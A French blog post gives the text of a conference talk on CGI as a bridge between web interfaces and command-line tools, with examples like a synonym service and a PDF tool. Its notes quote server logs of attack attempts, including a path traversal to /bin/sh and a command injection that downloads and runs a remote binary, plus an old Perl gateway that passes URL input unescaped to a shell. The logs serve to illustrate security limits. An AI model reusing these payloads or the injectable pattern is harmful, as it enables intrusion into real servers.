Les jeudi 25 et vendredi 26 juin 2026 ont eu lieu des journées d’études organisées par Julie Blanc, Nolwenn Maudet et Clémence Imbert, entre la Haute école d’art et de design (HEAD) de Genève et le laboratoire Approches contemporaines de la création et de la réflexion artistiques (ACCRA) de l’Université de Strasbourg. Voici le programme.
Les deux journées étaient passionnantes, l’organisation et la “programmation” au poil. Merci aux organisatrices pour l’invitation !
Avec Timothée Goguely nous y avons fait une communication intitulée GUI|CGI|CLI : Interfacer le web et la ligne de commande. Une publication émanant des journées d’études aura lieu à l’avenir mais en attendant je publie ici le texte.
Le texte fera davantage de sens si vous le suivez avec les slides.
C’est un copié-collé de nos notes, le texte comporte donc probablement beaucoup de fautes.
Le texte
Introduction
Timothée Goguely - designer et développeur web - co-responsable du master Design Envrionnements numériques, Université de Strasbourg - culture et savoir-faire GUI (graphical user interface, interface graphique)
Arthur Pons - informaticien - doctorant CIFRE en sciences informatiques, Lyon 1, INSA Lyon et Commown - culture et savoir-faire CLI (command line interface, interface en ligne de commande)
Avec d’autres copains, nous aimons expérimenter à la croisée de ces deux “mondes”, celui des interfaces graphiques d’un côté, et cellui des interfaces en ligne de commande de l’autre, au sein de notre seveur communautaire bébou, hébergé chez Arthur.
Résumé de l’article (Timothée)
Dépasser le CLIvage : les interfaces graphiques et textuelles face à l’obsolescence logicielle
Du côté de la recherche, dans le cadre de l’appel à contribution du 63e numéro de la revue Azimuts consacré au « Détournement et économie des ressources – la création numérique comme manière de jouer avec les contraintes », à paraître au printemps 2027, nous avons tenté d’esquisser une réponse à la question suivante : quelles relations existent-il entre les interfaces en ligne de commande, les interfaces graphiques, et les enjeux liées à l’obsolescence logicielle ? Autrement dit, de quelles façons chacun de ces deux grands paradigmes d’interface favorise ou non l’accroissement et le renouvellement du matériel dus au gonflement et mises à jours perpétuels des logiciels ?
En partant du postulat que les CLI n’appartiennent pas à un passé révolu et méritent davantage d’intérêt de la part des concepteur·ices d’interfaces :
- Nous y explorons dans un premier temps l’idée selon laquelle elles seraient intrinsèquement plus durables, comparées au GUI, car plus économes en ressources et moins sujettes aux effet de mode et à l’obsolescence culturelle.
- Dans un second temps, nous y abordons les liens entre la « scriptabilité » des CLI (Cramer, 2007), leur capacité à faire émerger de fonctionnalités par combinaisons d’outils simples et modulaires (Kernighan, Pike, 1984), et leur effet sur la limitation de l’obsolescence logicielle.
- Ensuite, quelques contres exemples nous permettent de nuancer nos propos (les CLI conçues le promptage de LLM en étant l’un des plus flagrant et actuel) et d’affirmer que les aspects purement techniques sont insuffisants pour analyser les liens entre interfaces et obsolescence logicielle.
- Se pose donc une seconde question : quels sont les aspets socio-culturels qui favorisent ou non cette obsolescence logicielle ? D’un côté, un éthos de la stabilité illustré par l’adage “If it works, don’t touch it”, valorisant la maintenance et la rétrocompatibilité, et de l’autre un éthos du changement illustré par le “move fast and break things” de la Sillicon Valley, valorisant au contraire l’inflation et les changements fréquents (Payet, 2025).
Nous formulons par ailleurs l’idée que l’omniprésence des GUI dans nos usages numériques aujourd’hui constitue de fait un monopole radical, au sens d’Ivan Illich, c’est-à-dire qu’il invisibilise et qu’il restreint, par sa position ultra-dominante, des pratiques alternatives qui seraient pourtant mieux servies par les CLI (on peut penser ici notamment aux traitements d’images par lot).
Enfin, au travers d’exemples que nous vous montrerons tout à l’heure, nous explorons comment dépasser le clivage historique existant entre GUI et CLI, en détournant et développant des outils, des savoirs et des pratiques qui mêlent les qualités respectives de ces deux grands paradigmes d’interfaces :
- GUI : manipulation directe, découvrabilité, (pré)visualisation
- CLI : scriptabilité, modularité, simplicité
Ces questionnements résonnent tout particulièrement avec le texte introductif écrit par le collectif PrePostPrint dans le cadre de la biennale de design graphique Aperçu qui a eu lieu en mai dernier à Bordeaux :
(fr) Les approches les plus fructueuses en matière de logiciels libres consistent rarement à remplacer un gros outil propriétaire par un gros outil libre ; le plus souvent, on déploie une série de processus qui interagissent les uns avec les autres : un ensemble de briques emboîtables combinant Lego™ et Meccano™, maintenues ensemble par une orfèvrerie savante ou de larges morceaux de ruban adhésif. Peut-être inspirés par la « philosophie Unix », nous concevons des fabriques de publication, des systèmes malléables, des pipelines de mots, de signes et d’images. Face aux géants de la distribution de signes préformatés, nous misons sur la diversité des pratiques, sur l’archipélisation technologique, la collaboration ludique et l’exploration de perspectives inattendues.
(en) The most fruitful approaches to free software rarely involve replacing a large proprietary tool with a large free tool; more often, a bunch of processes is deployed that are put into dialogue with each other: a set of interlocking bricks in which Lego™ and Meccano™ are combined, brought together through fine goldsmithing or large pieces of adhesive tape. Maybe inspired by the “Unix philosophy”, we design publishing factories, malleable systems, pipelines of words, signs and images. Faced with the behemoths of pre-formatted signs distribution, we are betting on a diversity of practices, on technological archipelagoisation, playful collaboration and the exploration of unexpected perspectives.
PPPublishing machines, biennale de design graphique Aperçu, Bordeaux, mai 2026
En s’inscrivant dans cette approche nous nous demandons alors quelle serait une approche de conception qui encouragerait cette diversité ? En particulier quelles malléabilités et quels « rubans adhésifs » pouvons nous mobiliser pour créer de la complimentarité entre les GUI et les CLI en vue de favoriser la durabilité des outils et l’émancipation collective ?
Il se trouve que l’un des facteurs de succès du web a justement été de créer des interfaces permettant d’utiliser des systèmes d’informations pré-existants. Il nous semble donc judicieux d’aller voir du côté de l’histoire des débuts du web, et en particulier d’une technologie de type un peu “ruban adhésif”, lui ayant permis très tôt d’interfacer les navigateurs graphiques avec des programmes en ligne de commande côté serveur : la Common Gateway Interface (CGI).
CGI : Common Gateway Interface (Arthur)
Brève histoire des débuts du web dynamique
débuts web des plateformes
du web enshitifiées à l’IA
| |
------*---------|---------|----------|----------->
1990 2026
Voici une représentation chronologique abusivement simpliste de l’histoire du web. De gauche à droite nous allons nous seulement vers plus de capacité technique et des services/interfaces plus intuitives, mais aussi plus de délégation et de jardins clôts, limitant ainsi l’encapacitation. Si l’on sait bien ce qu’on y a gagné, il est intéressant de se demander ce que l’on a perdu.
Pour mieux comprendre, voyons plus en détail les évènements le long de cette chronologie, en particulier ce qu’il se passe au début des années 90 autour du petit noeud.
À la veille de noël 90 Tim Berners Lee publie le premier serveur web. Le concept est simple, rendre des fichiers disponibles sur le réseau. Une personne demande, à l’aide d’un navigateur, un document situé à un chemin particulier. Le serveur trouve ce document sur son système de fichier, l’ouvre et envoie son contenu à la personne. À l’instant où le serveur ouvre le document la réponse est pré-déterminée, ce sera le contenu, statique, du fichier en question.
Très rapidement, quelque part entre décembre 1990 et novembre 1991 une personne (on n’a pas trouvé qui et quand) cherche à rendre le web dynamique. Rien de plus simple puisqu’il existe sur les ordinateurs des objets capables de donner des résultats dynamiques réagissant aux paramètres des utilisateurices : les programmes.
Or, ces programmes sont également des fichiers. Il est donc possible de modifier le comportement des serveurs web pour qu’à la demande d’un fichier qui se trouve être un programme le serveur, au lieu de lire le fichier, l’exécutera et renverra le contenu généré par cette exécution. L’idée est élégante, elle ne nécessite aucun changement côté navigateur, et est facile à implémenter côté serveur.
La plus vieille mention d’un service dynamique construit sur ce principe là nous vient d’un mail de Tim Berners Lee annonçant la disponibilité sur le web de WAIS (Wide Area Information Server, une sorte de pré-web notamment pour des bases de données bibliothécaire). C’est une passerelle vers un autre réseau, un autre protocole, un autre ecosystème technique d’où le mot qu’il utilise de “gateway”. C’est semble-t-il l’usage premier qui est fait des gateways à l’époque, permettre de profiter de la structure et l’hypertextualité du web pour naviguer dans d’autres réseaux parfois considérés comme obsolètes. Les comportements des serveurs web permettant ces passerelles, d’abord très hétérogènes, seront officiellement standardisées. Ce standard prendra le nom de CGI (Common Gateway Interface).
Vient alors le moment de l’outillage. D’abord beaucoup de C, ensuite du Perl
plus tard les Personal Home Page Tools (ça fait PHP). Les technos permettant de rendre dynamiques le web continueront de se complexifier jusqu’à aujourd’hui, en particulier avec un usage conséquent et parfois non discriminé de javascript.
Aujourd’hui la quantité de développeureuses interagissant directement avec CGI est proportionnellement faible, mais l’interface reste implémentée dans la plupart (si ce n’est tous) les serveurs webs répandues, y compris les plus simples.
Si elle a partiellement été reléguée au rang d’infrastructure, étant surtout utilisée pour exécuter une bonne partie du PHP moderne, elle est encore mobilisée par certains sites comme le bug tracker de Firefox, trahi par l’extension .cgi dans l’URL.
débuts web des plateformes
du web enshitifiées à l’IA
| |
------*---------|---------|----------|-----------> 1. Timeline dominante
1990 \ 2026
CGI \--------------------------------------> 2. Timeline alternative
|
vous êtes
ici
- monopole radical GUI, jardins clos, sans coutures visibles, délégation
- diversité des pratiques, archipélisation technologique, ruban adhésif, encapacitation
Avec cet frise chronologique succinte en tête, notre contribution consiste à expérimenter aujourd’hui, en nous réapproriant et en réactualisant certaines techniques des débuts du web dynamique, ce que pourrait être une approche de conception favorisant la diversité des interfaces et notre encapacitation.
Interfacer le web et la ligne de commande
Faire de la barre d’URL une CLI (Arthur)
Techniquement le modèle mentale de fonctionnement de CGI est, du moins selon nous, le plus immédiat pour faire du web dynamique. Une requête = une exécution d’un programme = le résultat HTML affiché dans le navigateur. Cette simplicité a des limites lorsqu’il s’agit de faire des applications web complexes (qui pousse à s’outiller avec des frameworks) mais est pratique pour créer des pages dynamiques simples. Le hello world du script CGI est (disponible sur http://bebou.netlib.re/cgi-bin/helloworld.cgi)
L’interface qui permet au serveur de comprendre ce script est figée dans l’interface CGI depuis 2004 mais utilisée telle quelle depuis 1993 sans presque aucun changement. La preuve en est que le script test fourni par défaut avec la version 1.1 de NCSA HTTPd datant de 1993 fonctionne sans aucune modification sur un serveur web moderne.
Les premières implémentations sont succintes puisque la totalité de NCSA HTTPd 1.1 tient en 5000 lignes de C, dont 420 dans le fichier http_script.c dédié aux CGI.
En plus de la simplicité du modèle et de son implémentation, nous nous
intéressons aux CGI pour la correspondance presque immédiate qu’il permet entre
l’usage d’un outil en ligne de commande et son utilisation dans le web. Si
Camille, peu adepte de la ligne de commande cherche à produire des qr codes et
que Maé a à disposition une commande le faisant (qrencode), Maé est à un script
intermédiaire près de donner accès à Camille la commande qrencode via le web.
L’url “http://bebou.netlib.re/cgi-bin/qr-small.cgi?text=le texte ici” sera
traduite en la commande qrencode "le texte ici" -s 15 -l H -o qr.png.
L’écriture d’url (qui peut être faite directement dans la barre d’url qui est alors notre formulaire) revient alors à écrire et exécuter une commande. Nous pensons que la finesse de cette couche à la fois technique et mentale peut inciter à créer des ponts entre CLI et GUI web, notamment pour des outils simples correspondant à un usage situé.
Étendre le concept d’amélioration progressive (Timothée)
Afin de faciliter la compréhension et l’appropriation de l’approche de conception dont nous parlons ici, nous proposons d’étendre vers le bas le concept d’amélioration progressive (progessive enhancement en anglais) proposé par Steven Champeon et Nick Finck en 2003.
En web design, l’amélioration progressive désigne une stratégie de conception visant à donner la priorité à l’accessibilité du contenu par empilement des couches suivantes :
- Couche sémantique (HTML) : rend accessible le contenu et les fonctionnalités au plus grand nombre via un format balisé
- Couche visuelle (CSS) : ajoute la mise en forme via des feuilles de style
- Couche événementielle (JavaScript) : ajoute des comportements avancés de façon non-obtrusive via des scripts exécutés côté client
L’idée centrale de cette approche dite bottom-up, est que chaque ajout de couche supérieure améliore la qualité et le confort d’utilisation de l’ensemble, sans jamais empêcher l’accès et le fonctionnement des couches inférieures. Elle s’oppose à l’approche top-down de « dégradation élégante » (graceful degradation en anglais), qui consiste à concevoir en priorité pour une configuration avancée (HTML + CSS + JS) puis de prévoir au mieux comment s’affiche le contenu lorsque les couches supérieures ne sont pas (ou partiellement pas) prises en charge (désactivation de JavaScript, veilles versions de navigateurs graphiques, navigateurs textuels…).
À partir de cette représentation sous forme de pyramide à étages, si l’on considère que le sol sur lequel elle repose représente la frontière entre la partie visible (client) et la partie invisible (serveur) d’un site, nous proposons d’y ajouter une couche inférieure (une sorte de sous-sol, ou plutôt des fondations) :
-1. Couche serveur (scripts<>data) : rend accessible les données brutes, via un format standard, et les éventuels programmes exécutés côté serveur utiles à la création de ces données
Dans notre version de la pyramide, le CGI se situe logiquement entre la partie client et la partie serveur, et sert d’interface pour passer de l’une à l’autre.
La première idée derrière tout cela est de permettre à tout le monde d’accéder à des informations et des services donnés, et ce peu importe l’étage par lequel on souhaite y accéder, que ce soit par choix ou par contrainte (exemple du vieux téléphone d’Arthur).
Exemple 1 : synonyme (Timothée)
Pour illustrer cette idée, prenons comme exemple un petit service de synonyme fait maison : http://bebou.netlib.re/synonymes.tsv
Dans son format le plus brut (ici un TSV), il est possible d’utiliser le fichier comme on lirait dans un dictionnaire, en utilisant la fonction rechercher de n’importe quel éditeur de texte ou tableur. Ce n’est pas très commode, on vous l’accorde, mais les données de la couche de base sont là.
Pour faciliter l’usage, on peut chercher dans ce fichier à l’aide d’un script en
ligne de commande appelé synonyme et dont l’interface est simplement :
synonyme mot. Si l’on possède la base de donnée (le TSV) et le script associé
sur son ordinateur, on peut alors l’utiliser la version CLI de ce service de
synonyme en local.
http://bebou.netlib.re/cgi-bin/synonyme.cgi
Si maintenant on souhaite rendre cette commande disponible sur le web, on peut l’installer sur un serveur, est l’utiliser via un script CGI, en englobant le tout dans un petit formulaire HTML. Quelques lignes de CSS améliorent légèrement la présentation. Le JS n’est pas utilisé dans cet exemple.
Si l’on reprend notre pyramide, voici à quoi elle ressemble dans ce cas
| JS | <- n'existe pas
| CSS |
| HTML | <- formulaire web
le trait -> - CLI CGI -
| CLI "synonymes" | <- CLI "classique"
| TSV | <- éditeur de texte ?
L’intérêt de cette pyramide est que l’on peut y rentrer à n’importe quel niveau et que chaque couche repose sur la couche inférieure. Dans un contexte où le service n’est pas simplement de la consommation de donnée mais de la création/transformation, cette diversité permet à plusieurs personnes de collaborer sur une même donnée ou un même outil avec l’interface de son choix en fonction de ses envies et de ses contraintes. Elle favorise la collaboration et participe ainsi à une forme d’émancipation collective.
Le mot clé ici est “favorise”. En effet si une personne découvre le service synonyme sous sa forme HTML mais qu’elle lui pose problème (connexion internet limitée, non disponibilité d’un navigateur, problème d’accessibilité etc) c’est la connaissance de l’existence des autres couches et de leurs usages qui lui sera réellement utile.
Indépendamment de l’utilisation des CGI ou d’une technique de web dynamique l’enjeux devient alors la découvrabilité des autres couches et la mobilité des utilisateurices entre celles-ci. Comment les interfaces peuvent-elles contribuer à favoriser cette mobilité ?
Favoriser la transparence et la mobilité entres les couches d’interfaces
Exemple 2 : pdf.cgi (Arthur)
Nous vous proposons de défricher cette question à travers un second exemple : un petit prototype d’outil de traitement de PDF : http://bebou.netlib.re/cgi-bin/pdf.cgi
Ce modeste outil (sorte de ilovepdf du pauvre), est constitué d’une couche d’exécution côté serveur, à l’aide de la commande ghostscript, d’un script CGI et d’une couche HTML (et pas de CSS ni de JS faute de temps à moins que Tim en fasse une en 1 jour).
| HTML |
- pdf.cgi -
| Ghostscript |
Elle peut s’utiliser de manière “classique”, c’est à dire en téléversant un ou plusieurs PDF, en choisissant un ou plusieurs traitements, en demandent l’exécution et en récupérant le résultat (faire la démo avec le PDF de l’event, monochrome, compresser et extraire page 1 et 2).
Première différence notable avec notre exemple précédent, l’interface nous fourni non seulement le résultat de l’exécution mais rend également visible le traitement en fournissant les commandes associées. Cette visibilisation, pourrait être imaginée comme un sol de verre, entre la couche HTML et la couche Ghostscript, rendant davantage transparent le fonctionnement de l’exécution côté serveur.
En plus des commandes, une information est donnée au sujet de la dépendance nécessaire pour les faire fonctionner et une indication (ici valable uniquement pour les debian et ses dérivées) sur la manière d’y avoir accès. Ces informations, bien que certainement insuffisantes pour toutes les utilisateurices, a pour but d’inciter à déporter la phase d’exécution vers la machine de l’utilisateurice.
| HTML |
| escalier ici |
- pdf.cgi -
| escalier ici |
| Ghostscript |
ou escalier dehors ?
| HTML |---------
- pdf.cgi - |
| Ghostscript |<-
Le sol de verre et les informations associées peuvent agir comme une sorte de signalétique faisant connaitre à l’utilisateurice l’existence des couches inférieures de la pyramide et l’y invitant à les utiliser.
On peut imaginer l’utilisateurice emprunter un escalier à l’intérieur de la pyramide pour passer de la couche HTML de la pyramide à l’étage d’en dessous
Ou sortir de couche HTML et emprunter un escalier extérieur.
| HTML |
- pdf.cgi signalétique (carte ?) - ---------|
| Ghostscript | ---> | Ghostscript | son ordi
En réalité, puisqu’ici il n’y a pas, à part pour les membres du serveur communautaire sur lequel le script est installé, de possibilité d’accéder au programme ghostscript installé sur le serveur, ce n’est pas tant la porte de la couche inférieure que l’on invite l’utilisateurice à utiliser, mais celle des fondations de sa propre pyramide, c’est à dire l’ordinateur qu’on est en train d’utiliser. L’utilisateurice opérerait alors une double mobilité : verticale en descendant d’une couche dans la stack technique, et horizontale en utilisant la pyramide courante pour naviguer vers une autre pyramide, la sienne. Les interfaces peuvent aider à renverser l’adage “le cloud (des serveurs donc) est l’ordinateur de quelqu’un d’autre” en “ton ordinateur peut être ton serveur”.
Cette approche incite les fournisseureuses de service à considérer leurs interfaces d’abord comme des tutoriels plus ou moins contextuels, guidés, interactifs plutôt que comme des portes vers de l’exécution.
Vous aurez peut-être remarqué que le champ pour téléverser les PDF est “caché” au profit d’un autre champ dans lequel il est possible de simplement renseigner le ou les noms des pdfs utilisés. L’exécution est alors minimale (aucun PDF ne transite) et l’interface s’en tient à donner les commandes qui, copiée/collée dans son terminal en local, permettent d’exécuter le traitement “programmé” via le formulaire (en réalité l’exécution côté serveur pourrait être nulle et faite entièrement en JS mais on a pas eu le temps déso). La conséquence la plus aboutie d’une telle interface serait peut-être qu’elle se rende caduque elle même, au moins aux yeux d’une utilisateurice donné, après l’avoir suffisamment encapacité.
NUI-magick (Arthur)
Pour clôturer cette partie, nous aimerions nous attarder un moment sur un outil développé par des copains du nom de NUI-Magick, qui démontre selon nous qu’il est possible d’associer exécution de ligne de commande via CGI et interaction riche avec du HTML/CSS/JS moderne.
Né d’une volonté de rendre l’outil de traitement d’image ImageMagick (notoirement complexe) plus facile à comprendre et à utiliser, notamment dans des contextes pédagogiques comme des workshops, il s’agit d’une interface nodale permettant d’écrire des commandes ImageMagick. Il intéragit directement avec le système de fichier, exposant ainsi les images produites dans l’arborescence au même titre que n’importe qu’elle autre image. (ouvrir terminal et faire un feh)
La version utilisée ici est légèrement modifiée pour que chaque noeud affiche la commande qui lui est associée et qu’à l’usage, un script shell contenant les commandes exécutées soit construit. (zoomer, modifier une valeur de slider, surligner une commande)
Ce script peut être modifié et exécuté en dehors de l’interface, permettant ainsi aux utilisateurices d’opérer une mobilité verticale, vers la couche d’en dessous, et éventuellement d’apporter des modifications aux traitement non permises par la GUI.
NUI-Magick est, au même titre que les CGI les plus simples que l’on ai vu, en commençant par l’exemple du qr code au début, une interface d’écriture de commande d’abord, et d’exécution ensuite, nous permettant notamment d’obtenir un feedback immédiat.
L’idée est généralisable (et sera peut-être généralisée par les dev). Les nœuds pourraient exécuter autre chose que des commandes ImageMagick ce qui permettrait d’en faire une interface nodale généraliste pour l’écriture de commandes arbitraires.
Conclusion
Limites (Timothée)
Faire du CGI : CGI plus dispo sur des serveurs web mutualisés chez les hébergeurs grand public, obligé de passer par des VPS, ou mieux, des petits serveurs maisons type bebou > nécessite que quelqu’un sache l’administrer, mais encouragement à la mutualisation et à l’entraide ! On peut mettre à disposition des scripts pour les copaines :)
Anecdote du fichier .cgi.png bloqué par infomaniak
https://xcancel.com/meekaale/status/1521152465151971328#m
La métaphore de la pyramide : la forme pyramidale ne rend pas compte de la taille technique de chaque couche. L’idée d’origine est de donner de l’importance aux couches basses mais la force de cette autre visualisation des empilements bien connue d’XKCD (davantage orientée brique logiciel qu’interface) est aussi de montrer que les couches au dessus sont très grosses donnant ce sentiment d’équilibre précaire.
Adresser la diversité des contextes : les méchanismes favorisant la mobilité type sol de verre ou escaliers, ne sont pleinement pertinents que dans la mesure où l’on prévoit toute la diversité des systèmes et des compétences des utilisateurices. Par exemple pdf.cgi renseigne comment installer ghostscript, encore faut-il savoir ce qu’est un terminal et savoir y coller du texte. Il utilise la commande “apt install” qui ne fonctionnera que sur Debian et ses dérivées et ne parlons même pas des smartphones dont les systèmes d’exploitation découragent très fortement l’usage de programmes en dehors des “applications” sélectionnées et acceptées par nos bienfaiteurs (les géants de la tech). Il est presque impossible de rendre la signalétique exhaustive et adaptées à toutes les personnes. L’important est alors de continuer à proposer une exécution pour celleux pour qui la signalétique n’est pas utile.
Limité à des besoins simples et situés : s’il est souhaitable à plusieurs égards de diminuer la quantité de délégation au profit de l’encapacitation en montrant davantage les coutures des services, l’approche risque de rapidement produire des résultats inintélégibles pour des besoins complexes. La surcharge d’info peut négativement impacter l’efficacité de l’encapacitation. C’est pourquoi nous pensons que cette approche est d’autant plus utile que le besoin est simple et situé à un contexte particulier.
Ouvertures (Timothée)
- Réinvestir et revisiter des technologies « oubliées » pour répondre à des enjeux contemporains du design graphique et du web, pour s’émanciper collectivement du joug des outils propriétaires
- Concevoir des outils d’apprentissage transitoires, qui nous apprenent à nous en passer in fine (encapacitation)
- Explorer comment appliquer cette approche à des cas plus variés et des outils un peu plus ambitieux : convertisseurs et éditeurs en tous genres, générateurs d’images, de flux RSS, de sites statiques, de CMS, pour mieux en comprendre le fonctionnement et les limites
- Comment représenter ces escaliers/passerelles aux sein de nos interfaces ? Pour l’instant, c’est surtout de l’information textuelle affichée dans l’interface, mais il y a certainement d’autres éléments de signalétiques à imaginer. Les personnes qui font de l’IHM dans la salle ?
Bibliographie
- SHNEIDERMAN Ben, « Direct Manipulation: A Step Beyond Programming Languages », Computer, 16(8), 1983
- KERNIGHAN Brian W., PIKE Rob, The Unix Programming Environment, 1984
- CHAMPEON Steve, Progressive Enhancement and the Future of Web Design, 2003
- CRAMER Florian, « $(echo echo) echo $(echo): Command Line Poetics », Considering your Tools, 2007
- SCHRIJVER Eric, « Hacker Culture and the Fear of WYSIWYG », 2014
- PIQUER-LOUIS Oriane, « Informatique et présentation de soi : la ligne de commande, une esthétique de l’efficacité ? Retour sur un mémoire de Master », 2018
- VAITHILINGAM, Priyan, GUO Philip, « Bespoke: Interactively Synthesizing Custom GUIs from Command-Line Applications By Demonstration », 2019
- PAYET Adrien, « La forme web hors de l’empire du script », Azimuts, n° 60, 2025
- MAUDET Nolwenn, « Délégation ou encapacitation », dans Culture du design numérique. Histoire des idées et enjeux contemporains, Éditions 2025, 2026
Notes
Ici en vrac des notes que l’on avait prises lors de l’écriture de la présentation.
Références
- https://www.are.na/timothee-goguely/cgi-fvsjwd24u_s
- https://xcancel.com/progrium/status/1337074333018189824?cursor=DAAKCgABHG1vL4h__9ULAAIAAAEQRW1QQzZ3QUFBZlEvZ0dKTjB2R3AvQUFBQUJjU2pubGRpWmR3QVJLT2FBY0xWaEFERlFYb2V1eVhJQWNTam9lcWZ4YndBUktPYkFNdVZoQUJFbzVySnBEWE1BQVNqazJmQXBZd0JSS09YS1ZEbHhBQUVvNWpCdzVYRUFJU2ptcG53dFl3QUJLT1p6OEVGdUFIRW81TW1kTVhVQUVTam5CKzRkWVFBaEtPZWR1UlZ4QUtGUVhvb2NQWElBRVNqbTNyQVpid0FSS09TUHdlbHhBQkVvNWtjQmZYSUFRU2prVW8rRmNRQVJLT1BnV1IxM0FBRW81elZjQ1c0QUFTamtNQk9WUndBUktPUjI0T1YyQUcIAAMAAAACCwAEAAAABkJvdHRvbQAA#r
Exemples d’anciens sites fait avec du CGI
- http://heritage.uen.org/cgi-bin/
- https://web.archive.org/web/19981212014435/https://heritage.uen.org/
- http://git.bebou.netlib.re/webring.com.1997/
- https://web.archive.org/web/19981212022152/https://webring.com/
Rapide histoire du CGI
- Première mention que je trouve dans www : http://1997.webhistory.org/www.lists/www-talk.1991/0008.html
- Sert au début à connecter des systèmes “legacy” avec le web
- Je trouve ça marrant vu notre utilisation du CGI, connecter des systèmes (parfois vieux et/ou perçu comme obsolètes) avec le web
Exemple de code : http://1997.webhistory.org/www.lists/www-talk.1991/0015.html
#!/usr/local/bin/perl
# gateway from www to archie
# this is the "brute force" kind of approach; a tidier solution
# would speak the prospero protocols directly.
while (<>) {
if (m,^GET /(.*)/(.*)\?(.*)$,) {
$archie = $1;
$type = $2;
$query = $3;
} else {
exit 0; # XXX
}
# print "$node $database $query \n";
if ($type eq 'exact') {
$arg = " -e ";
} else {
$arg = " -s ";
}
$archcmd = "archie -l -t " . $arg . " -h " . $archie . " " . $query ;
print "<title>archie $type search for $query on $archie </title>\n";
@result = `$archcmd`;
foreach (@result) {
($time, $size, $host, $file) = split;
print "<a href=file://anonymous@$host:$file>\n";
print "$_</a>\n";
}
}
(interface dans l’url)
D’ailleurs on voit qu’iels font exactement comme on fait aujourd’hui, cad récupérer des args depuis l’url d’une requête GET, construire une commande shell avec, l’exec et construire de l’HTML avec la réponse
Trouvé dans l’implem du parser CGI du CERN httpd (AL = Ari Luotonen) :
HISTORY:
9 Jan 94 AL Written on a melancholic Sunday evening.
et
HISTORY:
11 Mar 94 AL Written in a terrible hurry just before
going to Italy...
Dans la version 1.1 de NCSA HTTPd (peut-être le serveur web le plus répandu à l’époque) CGI est proprement implémenté et appelé tel quel (même si ça semble exister depuis au moins là 1.0 : https://nice.ch/Documents/NCSA_httpd_docs/info/VersionHist.html). On trouve des scripts d’exemple dont plus ou moins celui que j’utilise encore :
#!/bin/sh
UPTIME=`which uptime`
echo Content-type: text/plain
echo
if [ -x $UPTIME ]; then
$UPTIME
else
echo Cannot find uptime command on this system.
fi
(redécouverte du travail de nos anciens sans regarde nostalgique mais un regard critique pour le placer dans de nouveaux contextes)
Et un programme C pour commander des sandwichs : https://web.archive.org/web/19990427231451/https://hoohoo.ncsa.uiuc.edu/htbin/jj
PHP est annoncé sur une mailing list CGI : https://groups.google.com/g/comp.infosystems.www.authoring.cgi/c/PyJ25gZ6z7A/m/M9FkTUVDfcwJ
PHP began as a simple CGI wrapper written in Perl that I used to keep track of who had accessed my online resume. I then rewrote the wrapper in C to speed it up and use less resources. At the same time, I needed a way to glue my home page to a database, so I wrote the Form Interpreter (FI), a tool to embed SQL queries inside Web pages and handle form input.
Exemple d’implémentation “moderne” de serveur web avec CGI : https://github.com/vda-linux/busybox_mirror/blob/master/networking/httpd.c
Commentaire qui explique : https://github.com/vda-linux/busybox_mirror/blob/master/networking/httpd.c
Aujourd’hui ça reste un truc très répandu mais plutôt côté “infra” (voir Maxigas IRC) encore visible dans l’uRL à certains endroits : https://bugzilla.mozilla.org/show_bug.cgi?id=68517
Site avec pleins de scripts CGI dont des démos qui fonctionnent encore : https://www.scriptarchive.com/
Limites techniques historiques
Principalement
- la sécurité : pas forcément plus ou moins que les technos utilisées mais vu qu’à l’époque on partait souvent de 0 sans infra il était très facile de faire les bêtises les plus grosses et évidentes
exemple de tentative d’attaques sur bebou :
165.22.76.0 - - [10/Jun/2026:02:27:14 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 403 25 "-" "Go-http-client/1.1"
Un fichier d’un CMS populaire ?
163.7.1.156 - - [10/Jun/2026:03:25:56 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 157 "-" "-"
Probablement une tentative d’utilisation d’un bug d’un serveur web qui vérifiait pas les chemins des cgi qu’il exécutait (et pouvait donc exec /bin/sh sans faire exprès)
108.54.90.54 - - [03/Jun/2026:17:24:43 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://37.48.254.120/arm7%20-O%20/tmp/arm7;chmod%20777%20/tmp/arm7;/tmp/arm7%27$ HTTP/1.1" 400 157 "-" "r00ts3c"
Tentative d’utiliser un script cgi qui échappe mal les arguments récup de la CLI ce qui permet de lui faire exec du code arbitraire, en l’occurrence télécharger un binaire (probablement un rootkit)
- les perfs : les implémentations initiales nécessitaient de création un processus à chaque requête. Le coût de la création de processus est relativement élevé, surtout si le traitement fait derrière est comparativement petit. Des implémentations du style fastcgi ont partiellement résolus ce souci (1995) : https://en.wikipedia.org/wiki/FastCGI. Une autre approche était d’écrire des extensions pour apache (type modperl, modphp).
Bien que : https://simonwillison.net/2025/Jul/5/cgi-bin-performance/
Sur bebou 10 000 requêtes à un CGI très simple (qui imprime un lien) fait en 44s soit 230 requêtes par s ou 20M par jours. A mis le proc à ~30% d’usage. On a fastcgi. Environ 5000 requêtes par secondes. C’est la borne haute, le best case scenario. En requêtant qr.cgi on tombe à 1000 requêtes pour 23s soit 43 qr code par seconde ou 3,75M par jour
Méthodo de test :
yes "URL_à_requêter" | head -nNOMBRE > download_list.txt
curl --parallel --parallel-max 50 --parallel-immediate --url @download_list.txt
Pour la création d’appli CGI demande de recharger la page entre chaque requête (on peut pas update des morceaux de page) et peut rien faire côté client. Par contre on peut jouer avec des cookies. Il n’y a donc pas vraiment de limite très forte à la construction d’appli mais ça demande rapidement un framework au moins pour la base (gestion de cookie, parsage des trucs soumis par les formulaires) même si c’est possible de tout faire “à la main”. Voir par ex : https://cgi-lib.berkeley.edu/ ou en pure shell (??!!!) : https://plutz.net/software/cgilite/
- disparition de l’accès à /cgi-bin/ au grand public chez les hébergeurs ? chercher des sources
https://xcancel.com/meekaale/status/1521152465151971328#m
Explication de ce qu’est CGI à travers le code de NCSA HTTPd
Dans le main on traite la requête : https://github.com/vcgato29/ncsa-httpd/blob/9572b626b7f10ab57e4715b3f3ff41b3f0696684/src/httpd.c#L260
Dans la fonction processrequest on teste des trucs et selon le contenu de la requête on appelle d’autres fonctions : https://github.com/vcgato29/ncsa-httpd/blob/9572b626b7f10ab57e4715b3f3ff41b3f0696684/src/httprequest.c#L263
Et ici on check de quel type est la ressource demandée : https://github.com/vcgato29/ncsa-httpd/blob/9572b626b7f10ab57e4715b3f3ff41b3f0696684/src/http_get.c#L99
